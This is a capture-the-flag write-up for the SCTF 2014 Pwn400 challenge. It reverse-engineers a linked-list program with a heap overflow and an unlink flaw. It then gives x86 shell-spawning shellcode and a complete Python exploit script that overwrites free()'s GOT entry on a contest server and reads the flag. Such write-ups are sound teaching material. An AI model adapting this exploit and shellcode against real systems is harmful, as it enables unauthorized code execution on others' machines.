Home SCTF 2014 -- Pwn400
Post
Cancel

SCTF 2014 -- Pwn400

Similar with Pwn200, Pwn400 gave us a binary file, but no libc.so. Open it with IDA Pro and analyze it, we found some information:

First, there’s a data structure ( let’s call it node ) which look like this:

1
2
3
4
5
6
7
8
9
struct node{
  node *this; // the address of this node
  node *prev; // the address of the previous node
  node *next; // the address of the next node
  char title[64];
  char type[32];
  char content[256];
};

In this program, we’re allow to:

  1. New a node
  2. Show a node’s address ( yep, no need to leak it! )
  3. Edit a node’s content
  4. Delete a node (by giving its address)

Notice that we can ovewrite a node’s data by overflowing its previous node’s content. Moreover, after checking the function of deleting a node, we found the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if ( *(_DWORD *)ptr == ptr )
{
    if ( *(_DWORD *)a1 == ptr )
    {
        *(_DWORD *)a1 = *(_DWORD *)(*(_DWORD *)a1 + 8);
    }
    else
    {
        if ( *(_DWORD *)(ptr + 8) )
        {
            /* the unlink vulnerability */
            v1 = *(_DWORD *)(ptr + 8);
            v2 = *(_DWORD *)(ptr + 4);
            *(_DWORD *)(v2 + 8) = v1;
            *(_DWORD *)(v1 + 4) = v2;
        }
        else
        {
            *(_DWORD *)(*(_DWORD *)(ptr + 4) + 8) = 0;
        }
    }
    write(1, "succeed!\n\n", 0xAu);
    free((void *)ptr);
}

The vulnerability’s obvious: Heap overflow, except it use its own data structure.

Since it doesn’t enable the DEP protection, we can store our shellcode in a known memory address (which is, in this case, a node’s content), then exploit the heap overflow vulnerability, by overwriting free()’s GOT, let the function pointer point to our shellcode.

For instance:

1
2
3
4
5
6
//free's GOT entry: 0x0804a450
v1 = node->next // 0x0804a44c, because 0x0804a44c+4 = 0x0804a450  
v2 = node->prev // shellcode's address
*(_DWORD *)(shellcode's address + 8) = 0x0804a44c ; //4 bytes of shellcode will be overwritten
*(_DWORD *)(0x0804a450) = shellcode's address; // overwrite free()'s GOT

Note that 4 bytes in shellcode will be overwritten, so we’ll have to use jmp relative to skip those 4 bytes machine code. Here’s my shellcode:

1
2
3
4
5
"\x90\x90\x90\x90\x90\x90"+ # NOP
"\xeb\x08"+ # skip 8 bytes
"AAAA"+ # overwritten part
"\x90"*10+ # NOP
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80" # shell

So here’s the exploitation:

  1. New 3 nodes: node1, node2 & node3
  2. Store the shellcode in node3’s content
  3. Get the address of node3 & node2, calculate the shellcode’s address
  4. Edit node1, overwrite node2’s prev & next by overflowing node1’s content
  5. Delete node2, overwrite free()’s GOT, execute the shellcode & capture the flag

Here’s the python script. Due to the connection problem, it has to wait 1 second before it recieve server’s response.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from socket import *
import time
import binascii

sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("218.2.197.248", 10003))

shell = "\x90\x90\x90\x90\x90\x90"+"\xeb\x08"+"AAAA"+"\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80"

print sock.recv(1024)

#insert node1
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)

#insert node2
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
print sock.recv(1024)

#insert node3
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send(shell+"\n") #write shellcode to node3's content
time.sleep(1)
print sock.recv(1024)

#show node 3 address
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send("3\n")
time.sleep(1)
res = sock.recv(1024)
print res

#calculate shellcode's address
index = res.index("0x")
temp = res[index:index+10:]
shellcode_addr = int(temp, 16)+108
print "shellcode address: ", hex(shellcode_addr)
shellcode_addr_str = binascii.a2b_hex(hex(shellcode_addr)[2:10:].zfill(8))
print shellcode_addr_str

#show node 2 address
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
res = sock.recv(1024)
print res

index = res.index("0x")
temp = res[index:index+10:]
address = int(temp, 16)
del_addr = hex(address)[2::]
print "node2 address:", del_addr
node2_addr_str = binascii.a2b_hex(hex(address)[2:10:].zfill(8))
print node2_addr_str 

#BBBB: offset
#free()'s GOT: 0x0804a450, we send 0x0804a44c
exploit = "A"*256+"BBBB"+node2_addr_str[::-1]+shellcode_addr_str[::-1]+"\x4c\xa4\x04\x08"

#edit node 1
sock.send("4\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send(exploit+"\n") #overflow node1's content
time.sleep(1)
print sock.recv(1024)

#delete node 2
sock.send("5\n")
time.sleep(1)
print sock.recv(1024)
sock.send(del_addr+"\n")
time.sleep(1)
print sock.recv(1024)

sock.send('cat /home/pwn3/flag/flag\n') #capture the flag
time.sleep(1)
print sock.recv(1024)

sock.close()

The “BBBB” in the exploit is a 4 bytes data between each node. It actually is the meta data of a chunk. The free() function will check the meta data before it free the memory of a node. If the meta data isn’t correct, the program will crash. But since we overwrite free()’s GOT, that meta data’s no longer a problem.

flag: SCTF{2318540E78446A0E84EF69685092F0C3}

This post is licensed under CC BY-SA 4.0 by the author.

SCTF 2014 -- Pwn200

SCTF 2014 -- Code400

Comments powered by Disqus.